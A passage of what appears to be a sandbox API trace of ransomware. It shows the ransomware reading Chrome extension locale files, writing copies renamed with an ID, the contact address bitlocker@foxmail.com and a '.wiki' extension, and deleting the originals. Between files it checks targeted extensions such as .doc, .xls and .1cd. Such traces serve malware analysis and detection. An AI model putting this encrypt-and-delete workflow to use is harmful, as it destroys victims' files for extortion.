[0173.872] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.872] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json")) returned 1 [0173.872] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.873] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.873] lstrlenW (lpString=".doc") returned 4 [0173.873] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.873] lstrlenW (lpString=".docx") returned 5 [0173.873] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.873] lstrlenW (lpString=".pdf") returned 4 [0173.873] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.873] lstrlenW (lpString=".xls") returned 4 [0173.873] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.873] lstrlenW (lpString=".xlsx") returned 5 [0173.873] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.873] lstrlenW (lpString=".ppt") returned 4 [0173.873] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.873] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.873] lstrlenW (lpString=".zip") returned 4 [0173.873] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.873] lstrlenW (lpString=".rar") returned 4 [0173.873] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.873] lstrlenW (lpString=".bz2") returned 4 [0173.873] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.873] lstrlenW (lpString=".7z") returned 3 [0173.873] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.873] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.873] lstrlenW (lpString=".dbf") returned 4 [0173.873] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.873] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.873] lstrlenW (lpString=".1cd") returned 4 [0173.873] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.873] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.873] lstrlenW (lpString=".jpg") returned 4 [0173.873] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.874] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.874] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.874] lstrlenW (lpString=".doc") returned 4 [0173.874] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.874] lstrlenW (lpString=".docx") returned 5 [0173.874] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.874] lstrlenW (lpString=".pdf") returned 4 [0173.874] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.874] lstrlenW (lpString=".xls") returned 4 [0173.874] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.874] lstrlenW (lpString=".xlsx") returned 5 [0173.874] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.874] lstrlenW (lpString=".ppt") returned 4 [0173.874] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.874] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.874] lstrlenW (lpString=".zip") returned 4 [0173.874] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.874] lstrlenW (lpString=".rar") returned 4 [0173.874] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.874] lstrlenW (lpString=".bz2") returned 4 [0173.874] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.874] lstrlenW (lpString=".7z") returned 3 [0173.874] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.874] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.874] lstrlenW (lpString=".dbf") returned 4 [0173.874] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.874] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.874] lstrlenW (lpString=".1cd") returned 4 [0173.874] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.874] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json") returned 152 [0173.875] lstrlenW (lpString=".jpg") returned 4 [0173.875] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.875] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.875] lstrlenW (lpString="messages.json") returned 13 [0173.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.875] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=218) returned 1 [0173.875] CloseHandle (hObject=0x334) returned 1 [0173.875] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json")) returned 0x2020 [0173.876] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.876] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.876] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0173.876] GetLastError () returned 0x0 [0173.876] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xda, lpOverlapped=0x0) returned 1 [0173.877] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.878] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.878] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.878] SetEndOfFile (hFile=0x1ac) returned 1 [0173.878] CloseHandle (hObject=0x1ac) returned 1 [0173.878] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.879] SetEndOfFile (hFile=0x334) returned 1 [0173.879] CloseHandle (hObject=0x334) returned 1 [0173.879] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.880] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json")) returned 1 [0173.880] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.880] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.880] lstrlenW (lpString=".doc") returned 4 [0173.880] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.880] lstrlenW (lpString=".docx") returned 5 [0173.880] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.880] lstrlenW (lpString=".pdf") returned 4 [0173.880] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.880] lstrlenW (lpString=".xls") returned 4 [0173.880] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.880] lstrlenW (lpString=".xlsx") returned 5 [0173.880] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.880] lstrlenW (lpString=".ppt") returned 4 [0173.880] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.880] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.880] lstrlenW (lpString=".zip") returned 4 [0173.880] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.880] lstrlenW (lpString=".rar") returned 4 [0173.880] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.880] lstrlenW (lpString=".bz2") returned 4 [0173.880] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.880] lstrlenW (lpString=".7z") returned 3 [0173.880] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.880] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.881] lstrlenW (lpString=".dbf") returned 4 [0173.881] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.881] lstrlenW (lpString=".1cd") returned 4 [0173.881] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.881] lstrlenW (lpString=".jpg") returned 4 [0173.881] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.881] lstrlenW (lpString=".doc") returned 4 [0173.881] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.881] lstrlenW (lpString=".docx") returned 5 [0173.881] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.881] lstrlenW (lpString=".pdf") returned 4 [0173.881] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.881] lstrlenW (lpString=".xls") returned 4 [0173.881] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.881] lstrlenW (lpString=".xlsx") returned 5 [0173.881] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.881] lstrlenW (lpString=".ppt") returned 4 [0173.881] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.881] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.881] lstrlenW (lpString=".zip") returned 4 [0173.881] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.881] lstrlenW (lpString=".rar") returned 4 [0173.881] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.881] lstrlenW (lpString=".bz2") returned 4 [0173.881] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.881] lstrlenW (lpString=".7z") returned 3 [0173.882] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.882] lstrlenW (lpString=".dbf") returned 4 [0173.882] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.882] lstrlenW (lpString=".1cd") returned 4 [0173.882] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json") returned 152 [0173.882] lstrlenW (lpString=".jpg") returned 4 [0173.882] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.882] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.882] lstrlenW (lpString="messages.json") returned 13 [0173.882] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.882] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=257) returned 1 [0173.882] CloseHandle (hObject=0x334) returned 1 [0173.883] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json")) returned 0x2020 [0173.883] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.883] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.883] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0173.883] GetLastError () returned 0x0 [0173.883] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x101, lpOverlapped=0x0) returned 1 [0173.884] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.886] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.886] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.886] SetEndOfFile (hFile=0x1ac) returned 1 [0173.886] CloseHandle (hObject=0x1ac) returned 1 [0173.886] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.886] SetEndOfFile (hFile=0x334) returned 1 [0173.887] CloseHandle (hObject=0x334) returned 1 [0173.887] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.887] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json")) returned 1 [0173.887] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.887] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.887] lstrlenW (lpString=".doc") returned 4 [0173.887] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.887] lstrlenW (lpString=".docx") returned 5 [0173.887] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.887] lstrlenW (lpString=".pdf") returned 4 [0173.887] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.887] lstrlenW (lpString=".xls") returned 4 [0173.887] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.887] lstrlenW (lpString=".xlsx") returned 5 [0173.887] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.887] lstrlenW (lpString=".ppt") returned 4 [0173.888] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.888] lstrlenW (lpString=".zip") returned 4 [0173.888] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.888] lstrlenW (lpString=".rar") returned 4 [0173.888] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.888] lstrlenW (lpString=".bz2") returned 4 [0173.888] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.888] lstrlenW (lpString=".7z") returned 3 [0173.888] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.888] lstrlenW (lpString=".dbf") returned 4 [0173.888] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.888] lstrlenW (lpString=".1cd") returned 4 [0173.888] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.888] lstrlenW (lpString=".jpg") returned 4 [0173.888] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.888] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 152 [0173.888] lstrlenW (lpString=".doc") returned 4 [0173.888] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.888] lstrlenW (lpString=".docx") returned 5 [0173.888] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.888] lstrlenW (lpString=".pdf") returned 